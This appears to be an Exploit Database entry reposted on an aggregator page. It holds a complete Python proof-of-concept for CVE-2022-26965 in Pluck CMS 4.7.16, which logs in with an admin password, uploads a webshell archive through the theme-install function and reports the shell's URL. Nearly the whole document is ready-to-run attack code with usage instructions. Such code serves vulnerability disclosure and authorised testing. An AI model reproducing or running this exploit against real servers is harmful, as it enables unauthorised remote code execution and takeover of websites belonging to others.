Pluck CMS 4.7.16 – Remote Code Execution (RCE) (Authenticated)

• Exploit Database
• 19 阅读

• 作者： Ashish Koli
  日期： 2022-03-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50826/

• # Exploit Title: Pluck CMS 4.7.16 - Remote Code Execution (RCE) (Authenticated)
  # Date: 13.03.2022
  # Exploit Author: Ashish Koli (Shikari)
  # Vendor Homepage: https://github.com/pluck-cms/pluck
  # Version: 4.7.16
  # Tested on Ubuntu 20.04.3 LTS
  # CVE: CVE-2022-26965
  # Usage : python3 exploit.py <IP> <Port> <Password> <Pluckcmspath>
  # Example:python3 exploit.py 127.0.0.1 80 admin /pluck
  # Reference: https://github.com/shikari00007/Pluck-CMS-Pluck-4.7.16-Theme-Upload-Remote-Code-Execution-Authenticated--POC
  
  '''
  Description:
  A theme upload functinality in Pluck CMS before 4.7.16 allows an admin
  privileged user to gain access in the host through the "themes files",
  which may result in remote code execution.
  '''
  
  
  '''
  Import required modules:
  '''
  import sys
  import requests
  import json
  import time
  import urllib.parse
  import struct
  
  '''
  User Input:
  '''
  target_ip = sys.argv[1]
  target_port = sys.argv[2]
  password = sys.argv[3]
  pluckcmspath = sys.argv[4]
  
  
  '''
  Get cookie
  '''
  session = requests.Session()
  link = 'http://' + target_ip + ':' + target_port + pluckcmspath
  response = session.get(link)
  cookies_session = session.cookies.get_dict()
  cookie = json.dumps(cookies_session)
  cookie = cookie.replace('"}','')
  cookie = cookie.replace('{"', '')
  cookie = cookie.replace('"', '')
  cookie = cookie.replace(" ", '')
  cookie = cookie.replace(":", '=')
  
  
  '''
  Authentication:
  '''
  # Compute Content-Length:
  base_content_len = 27
  password_encoded = urllib.parse.quote(password, safe='')
  password_encoded_len = len(password_encoded.encode('utf-8'))
  content_len = base_content_len + password_encoded_len
  
  # Construct Header:
  header = {
  'Host': target_ip,
  'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
  'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
  'Accept-Encoding': 'gzip, deflate',
  'Content-Type': 'application/x-www-form-urlencoded',
  'Content-Length': str(content_len),
  'Origin': 'http://' + target_ip,
  'Connection': 'close',
  'Referer': 'http://' + target_ip + pluckcmspath + '/login.php',
  'Cookie': cookie,
  'Upgrade-Insecure-Requests': '1'
  }
  
  # Construct Data:
  body = {
  'cont1': password,
  'bogus': '',
  'submit': 'Log in',
  }
  
  # Authenticating:
  link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php'
  auth = requests.post(link_auth, headers=header, data=body)
  print('')
  if 'error' in auth.text:
  print('Password incorrect, please try again:')
  exit()
  else:
  print('Authentification was succesfull, uploading webshell')
  print('')
  
  
  '''
  Upload Webshell:
  '''
  # Construct Header:
  header1 = {
  'Host': target_ip,
  'Cache-Control': 'max-age=0',
  'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="90"',
  'sec-ch-ua-mobile': '?0',
  'Origin': 'http://' + target_ip,
  'Upgrade-Insecure-Requests': '1',
  'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryH7Ak5WhirAIQ8o1L',
  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  'Sec-Fetch-Site': 'same-origin',
  'Sec-Fetch-Mode': 'navigate',
  'Sec-Fetch-User': '?1',
  'Sec-Fetch-Dest': 'document',
  'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=themeinstall',
  'Accept-Encoding': 'gzip, deflate',
  'Accept-Language': 'en-US,en;q=0.9',
  'Cookie': cookie,
  'Connection': 'close',
  
  }
  
  
  # loading Webshell payload: 
  path = 'shell.tar'
  fp = open(path,'rb')
  data= fp.read()
  
  
  # Uploading Webshell:
  link_upload = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=themeinstall'
  upload = requests.post(link_upload, headers=header1, data=data)
  
  
  '''
  Finish:
  '''
  print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + pluckcmspath + '/data/themes/shell/shell.php')
  print('')